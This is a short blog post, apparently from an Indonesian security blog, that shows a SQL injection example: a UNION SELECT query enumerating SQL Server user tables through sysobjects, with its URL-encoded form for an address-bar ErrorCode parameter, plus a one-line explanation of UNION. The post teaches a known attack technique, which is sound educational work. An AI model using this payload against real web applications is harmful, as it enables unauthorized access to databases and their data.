Scripta Manent

select ErrorMessage from ErrorMessages where ErrorCode = 9 union select name from sysobjects where xtype='u'

on the address bar

ErrorCode=2%20union%20select%20name%20from%20sysobjects%20where
%20xtype='u'

Union keyword tells SQL to combine two statements into one.

Source: Web Application Hacking, SPI Dynamics

Last 5 posts by

• Pindah ke Lokal? - July 21st, 2010
• Menangani Brute Force? - July 19th, 2010
• * Analysis, Academy CERT Meeting di SGU - July 16th, 2010
• Instalasi OpenVAS - July 8th, 2010
• Commercial SQL Server Security Scanners - July 6th, 2010